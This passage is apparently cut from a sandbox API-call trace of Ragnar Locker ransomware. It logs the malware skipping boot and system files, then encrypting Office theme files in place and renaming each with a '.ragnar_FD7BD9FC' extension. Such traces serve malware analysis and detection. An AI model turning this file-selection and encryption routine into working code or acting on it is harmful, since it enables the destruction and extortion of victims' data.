returned 1 [0070.748] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0070.748] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0070.748] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0070.748] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0070.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm")) returned 0x20 [0070.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0070.789] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=69575) returned 1 [0070.789] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x10fbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.790] GetProcessHeap () returned 0x580000 [0070.790] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.790] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0070.792] VirtualAlloc (lpAddress=0x0, dwSize=0x10fc7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.792] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.792] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0070.792] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10fc7, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x10fc7, lpOverlapped=0x0) returned 1 [0070.795] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0070.795] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10fc7, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.795] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10fc7, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x10fc7, lpOverlapped=0x0) returned 1 [0070.796] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10fc7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.796] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.796] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x10fc7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.796] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.796] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.797] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.797] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0070.797] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.797] GetProcessHeap () returned 0x580000 [0070.797] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.797] CloseHandle (hObject=0x10c) returned 1 [0070.798] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" [0070.798] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.ragnar_FD7BD9FC" [0070.798] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.800] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0070.800] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0070.800] lstrcpyW (in: lpString1=0x1eab6e, lpString2="ARCTIC.INF" | out: lpString1="ARCTIC.INF") returned="ARCTIC.INF" [0070.800] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned=".INF" [0070.800] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0070.800] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="autorun.inf") returned -1 [0070.800] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="boot.ini") returned -1 [0070.800] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="bootfont.bin") returned -1 [0070.800] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="bootsect.bak") returned -1 [0070.800] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="bootmgr") returned -1 [0070.801] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="bootmgr.efi") returned -1 [0070.801] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="bootmgfw.efi") returned -1 [0070.801] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="desktop.ini") returned -1 [0070.801] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="iconcache.db") returned -1 [0070.801] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="ntldr") returned -1 [0070.801] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="ntuser.dat") returned -1 [0070.801] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="ntuser.dat.log") returned -1 [0070.801] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="ntuser.ini") returned -1 [0070.801] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="thumbs.db") returned -1 [0070.801] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0070.801] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0070.801] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0070.801] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0070.801] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0070.801] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0070.801] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0070.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf")) returned 0x20 [0070.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0070.801] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=513) returned 1 [0070.802] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.802] GetProcessHeap () returned 0x580000 [0070.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.802] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0070.802] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.803] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.803] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0070.803] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x201, lpOverlapped=0x0) returned 1 [0070.803] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0070.803] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x201, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.803] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x201, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x201, lpOverlapped=0x0) returned 1 [0070.803] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x201, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.803] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.803] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x201, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.803] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.803] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.803] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.804] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0070.804] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.804] GetProcessHeap () returned 0x580000 [0070.804] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.804] CloseHandle (hObject=0x10c) returned 1 [0070.805] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" [0070.805] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.ragnar_FD7BD9FC" [0070.805] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.805] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0070.805] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0070.805] lstrcpyW (in: lpString1=0x1eab6e, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0070.805] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned=".GIF" [0070.805] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0070.805] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0070.805] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0070.805] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0070.805] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0070.805] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0070.805] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0070.805] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0070.805] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0070.806] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0070.806] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0070.806] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0070.806] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0070.806] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0070.806] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0070.806] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0070.806] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0070.806] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0070.806] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0070.806] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0070.806] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0070.806] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0070.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0070.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0070.807] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2985) returned 1 [0070.807] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xba0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.807] GetProcessHeap () returned 0x580000 [0070.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.807] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0070.809] VirtualAlloc (lpAddress=0x0, dwSize=0xba9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0070.809] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.809] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0070.809] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xba9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xba9, lpOverlapped=0x0) returned 1 [0070.809] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0070.809] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xba9, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.809] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xba9, lpOverlapped=0x0) returned 1 [0070.809] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xba9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.809] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.809] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xba9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.810] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.810] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.810] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0070.810] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0070.810] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.810] GetProcessHeap () returned 0x580000 [0070.810] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.810] CloseHandle (hObject=0x10c) returned 1 [0070.811] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" [0070.811] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.ragnar_FD7BD9FC" [0070.811] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.811] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6919e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7c6919e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0070.811] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0070.811] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0070.811] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\RGNR_FD7BD9FC.txt") returned=".txt" [0070.811] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0070.811] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0070.811] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0070.811] lstrcpyW (in: lpString1=0x1eab6e, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0070.811] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned=".PNG" [0070.811] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0070.811] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0070.812] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 